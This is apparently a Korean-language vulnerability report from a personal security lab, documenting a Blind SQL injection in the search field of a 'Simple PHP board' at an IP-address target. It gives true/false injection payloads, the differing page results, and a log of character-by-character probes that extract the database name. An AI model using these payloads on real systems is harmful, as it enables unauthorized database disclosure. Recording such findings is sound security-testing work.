Vulnerability Discovery_1

target

http://124.60.4.10:9999/board_list_search.php

payload

검색창에 Blind SQL Injection ' and 1=1-- (참) ' and 1=2-- (거짓) 참, 거짓에 따라 게시판 리스트(content-length)가 반환되는 게 다르게 나타남

Impact

쿼리의 참과 거짓 결과를 비교하는 과정을 통해 결과들을 조합해 데이터베이스 정보가 노출될 수 있는 취약점으로 파이썬 스크립트로 사용중인 데이터베이스 명이 노출됨

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/9a66569d-adeb-4114-8388-617e1b697651/Blind_SQL_script.txt

Simple PHP board

검색

' and 1=1-- 의 검색결과

Number	Title	Written by	Date	Views
1	test	yoobi	2023-01-23 22:43:59	1
2	tes	yoobi	2023-01-23 22:44:07	1
3	1	yoobi	2023-01-23 22:44:27	1
5	test	yoobi	2023-01-29 13:52:07	0
6	alert(1)	yoobi	2023-01-29 13:52:16	2
7	1	1	2023-01-29 13:53:21	3

Write

Simple PHP board

검색

' and 1=2-- 의 검색결과

Number	Title	Written by	Date	Views

Write

- Ver.2020.01.05 -
made by yoobi
https://velog.io/@yoobi/about

```
search=' and ascii(substring(database(),4,1))=95--
search=' and ascii(substring(database(),5,1))=60--
search=' and ascii(substring(database(),5,1))>60--
search=' and ascii(substring(database(),5,1))=93--
search=' and ascii(substring(database(),5,1))>93--
search=' and ascii(substring(database(),5,1))=110--
search=' and ascii(substring(database(),5,1))>110--
search=' and ascii(substring(database(),5,1))=101--
search=' and ascii(substring(database(),5,1))>101--
search=' and ascii(substring(database(),5,1))=97--
search=' and ascii(substring(database(),5,1))>97--
search=' and ascii(substring(database(),5,1))=99--
search=' and ascii(substring(database(),5,1))>99--
search=' and ascii(substring(database(),5,1))=100--
search=' and ascii(substring(database(),6,1))=60--
search=' and ascii(substring(database(),6,1))>60--
search=' and ascii(substring(database(),6,1))=93--
search=' and ascii(substring(database(),6,1))>93--
search=' and ascii(substring(database(),6,1))=110--
search=' and ascii(substring(database(),6,1))>110--
search=' and ascii(substring(database(),6,1))=101--
search=' and ascii(substring(database(),6,1))>101--
search=' and ascii(substring(database(),6,1))=97--
search=' and ascii(substring(database(),6,1))>97--
search=' and ascii(substring(database(),6,1))=99--
search=' and ascii(substring(database(),6,1))>99--
search=' and ascii(substring(database(),6,1))=98--
데이터베이스 이름은: php_db
```